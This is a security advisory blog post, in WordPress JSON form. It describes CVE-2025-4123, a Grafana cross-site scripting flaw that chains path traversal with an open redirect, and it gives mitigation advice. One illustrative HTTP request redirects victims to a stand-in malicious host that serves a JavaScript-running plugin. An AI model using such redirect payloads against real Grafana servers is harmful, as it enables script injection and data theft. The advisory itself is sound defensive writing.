{"id":85981,"date":"2025-12-07T09:56:54","date_gmt":"2025-12-07T09:56:54","guid":{"rendered":""},"modified":"-0001-11-30T00:00:00","modified_gmt":"-0001-11-30T00:00:00","slug":"cve-2025-4123-cross-site-scripting-vulnerability-in-grafana","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-4123-cross-site-scripting-vulnerability-in-grafana\/","title":{"rendered":"CVE-2025-4123: Cross-Site Scripting Vulnerability in Grafana<\/strong>"},"content":{"rendered":"

Overview<\/strong><\/p>\n

A significant cybersecurity vulnerability, CVE-2025-4123, has been identified in Grafana, a popular open-source analytics and monitoring solution. The vulnerability is a Cross-Site Scripting (XSS) issue caused by a combination of client path traversal and open redirect. This issue is of grave concern as it potentially allows malicious parties to compromise systems or leak sensitive data.<\/p>\n

Vulnerability Summary<\/strong><\/p>\n

CVE ID: CVE-2025-4123
\nSeverity: High (7.6 CVSS Score)
\nAttack Vector: Network
\nPrivileges Required: None
\nUser Interaction: Required
\nImpact: Potential system compromise and data leakage<\/p>\n

Affected Products<\/strong><\/p>\n

Product | Affected Versions<\/p>\n

Grafana | All versions prior to the patched version<\/p>\n

How the Exploit Works<\/strong><\/p>\n

The exploit leverages a Cross-Site Scripting (XSS) vulnerability in Grafana that arises from a combination of a client path traversal and open redirect. This flaw allows attackers to redirect users to a malicious website hosting a frontend plugin that will execute arbitrary JavaScript. The vulnerability does not require editor permissions, and can function even with anonymous access enabled. If the Grafana Image Renderer plugin is installed, it is possible to exploit the open redirect to achieve a full read Server Side Request Forgery (SSRF).<\/p>\n

Conceptual Example Code<\/strong><\/p>\n

This is a conceptual example of how the vulnerability might be exploited using a malicious HTTP request:<\/p>\n

GET \/redirect?to=http:\/\/malicious.example.com\/frontend-plugin HTTP\/1.1\nHost: vulnerable-grafana.example.com<\/code><\/pre>\n
Mitigation Guidance<\/strong><\/p>\n
To mitigate this vulnerability, Grafana users are advised to apply the vendor’s patch as soon as it is available. Until then, users can employ a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as a temporary mitigation. Also, disabling anonymous access and the Grafana Image Renderer plugin can reduce the impact of the vulnerability.<\/p>\n","protected":false},"excerpt":{"rendered":"
Overview A significant cybersecurity vulnerability, CVE-2025-4123, has been identified in Grafana, a popular open-source analytics and monitoring solution. The vulnerability is a Cross-Site Scripting (XSS) issue caused by a combination of client path traversal and open redirect. This issue is of grave concern as it potentially allows malicious parties to compromise systems or leak sensitive […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"_monsterinsights_skip_tracking":false,"footnotes":""},"categories":[],"tags":[],"vendor":[],"product":[],"attack_vector":[],"asset_type":[],"severity":[],"exploit_status":[],"class_list":["post-85981","post","type-post","status-publish","format-standard","hentry"],"aioseo_notices":[],"aioseo_head":"\n\t\t\n\t\n\t\n\t\n\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t